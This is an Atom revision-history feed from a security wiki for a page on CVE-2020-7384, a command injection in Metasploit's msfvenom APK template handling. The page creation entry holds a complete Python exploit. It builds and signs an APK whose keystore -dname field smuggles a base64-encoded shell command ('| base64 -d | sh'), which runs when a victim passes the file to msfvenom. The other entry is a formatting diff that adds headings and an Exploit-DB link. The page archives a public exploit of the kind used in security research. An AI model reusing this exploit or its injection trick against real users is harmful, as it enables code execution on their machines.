<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5</id>
	<title>CVE-2020-7384 msfvenom APK模板命令注入 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5&amp;action=history"/>
	<updated>2026-04-10T00:24:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5&amp;diff=1948&amp;oldid=prev</id>
		<title>Atsud0 at 06:41, 30 April 2021</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5&amp;diff=1948&amp;oldid=prev"/>
		<updated>2021-04-30T06:41:58Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 06:41, 30 April 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;=== Info: ===&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7384 CVE-2020-7384]&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;=== EXP&lt;/ins&gt;: =&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;==&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;## Info&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;[CVE-2020-7384](https&lt;/del&gt;:&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;//cve.mitre.org/cgi-bin/cvename.cgi?name&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;CVE-2020-7384)&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;## EXP&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l61&quot; &gt;Line 61:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 56:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;=== Source ===&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;## Source&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;[https://www.exploit-db.com/exploits/49491 Exploit-db-49491]&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-1947:rev-1948 --&gt;
&lt;/table&gt;</summary>
		<author><name>Atsud0</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5&amp;diff=1947&amp;oldid=prev</id>
		<title>Atsud0: Created page with &quot;  ## Info  [CVE-2020-7384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7384)   ## EXP  &lt;pre&gt; # Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template c...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7384_msfvenom_APK%E6%A8%A1%E6%9D%BF%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5&amp;diff=1947&amp;oldid=prev"/>
		<updated>2021-04-30T06:38:57Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;  ## Info  [CVE-2020-7384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7384)   ## EXP  &amp;lt;pre&amp;gt; # Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template c...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
## Info&lt;br /&gt;
&lt;br /&gt;
[CVE-2020-7384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7384)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## EXP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection&lt;br /&gt;
# Exploit Author: Justin Steven&lt;br /&gt;
# Vendor Homepage: https://www.metasploit.com/&lt;br /&gt;
# Software Link: https://www.metasploit.com/&lt;br /&gt;
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0&lt;br /&gt;
# CVE : CVE-2020-7384&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import subprocess&lt;br /&gt;
import tempfile&lt;br /&gt;
import os&lt;br /&gt;
from base64 import b64encode&lt;br /&gt;
&lt;br /&gt;
# Change me&lt;br /&gt;
payload = 'echo &amp;quot;Code execution as $(id)&amp;quot; &amp;gt; /tmp/win'&lt;br /&gt;
&lt;br /&gt;
# b64encode to avoid badchars (keytool is picky)&lt;br /&gt;
payload_b64 = b64encode(payload.encode()).decode()&lt;br /&gt;
dname = f&amp;quot;CN='|echo {payload_b64} | base64 -d | sh #&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[+] Manufacturing evil apkfile&amp;quot;)&lt;br /&gt;
print(f&amp;quot;Payload: {payload}&amp;quot;)&lt;br /&gt;
print(f&amp;quot;-dname: {dname}&amp;quot;)&lt;br /&gt;
print()&lt;br /&gt;
&lt;br /&gt;
tmpdir = tempfile.mkdtemp()&lt;br /&gt;
apk_file = os.path.join(tmpdir, &amp;quot;evil.apk&amp;quot;)&lt;br /&gt;
empty_file = os.path.join(tmpdir, &amp;quot;empty&amp;quot;)&lt;br /&gt;
keystore_file = os.path.join(tmpdir, &amp;quot;signing.keystore&amp;quot;)&lt;br /&gt;
storepass = keypass = &amp;quot;password&amp;quot;&lt;br /&gt;
key_alias = &amp;quot;signing.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Touch empty_file&lt;br /&gt;
open(empty_file, &amp;quot;w&amp;quot;).close()&lt;br /&gt;
&lt;br /&gt;
# Create apk_file&lt;br /&gt;
subprocess.check_call([&amp;quot;zip&amp;quot;, &amp;quot;-j&amp;quot;, apk_file, empty_file])&lt;br /&gt;
&lt;br /&gt;
# Generate signing key with malicious -dname&lt;br /&gt;
subprocess.check_call([&amp;quot;keytool&amp;quot;, &amp;quot;-genkey&amp;quot;, &amp;quot;-keystore&amp;quot;, keystore_file, &amp;quot;-alias&amp;quot;, key_alias, &amp;quot;-storepass&amp;quot;, storepass,&lt;br /&gt;
                       &amp;quot;-keypass&amp;quot;, keypass, &amp;quot;-keyalg&amp;quot;, &amp;quot;RSA&amp;quot;, &amp;quot;-keysize&amp;quot;, &amp;quot;2048&amp;quot;, &amp;quot;-dname&amp;quot;, dname])&lt;br /&gt;
&lt;br /&gt;
# Sign APK using our malicious dname&lt;br /&gt;
subprocess.check_call([&amp;quot;jarsigner&amp;quot;, &amp;quot;-sigalg&amp;quot;, &amp;quot;SHA1withRSA&amp;quot;, &amp;quot;-digestalg&amp;quot;, &amp;quot;SHA1&amp;quot;, &amp;quot;-keystore&amp;quot;, keystore_file,&lt;br /&gt;
                       &amp;quot;-storepass&amp;quot;, storepass, &amp;quot;-keypass&amp;quot;, keypass, apk_file, key_alias])&lt;br /&gt;
&lt;br /&gt;
print()&lt;br /&gt;
print(f&amp;quot;[+] Done! apkfile is at {apk_file}&amp;quot;)&lt;br /&gt;
print(f&amp;quot;Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## Source&lt;/div&gt;</summary>
		<author><name>Atsud0</name></author>
	</entry>
</feed>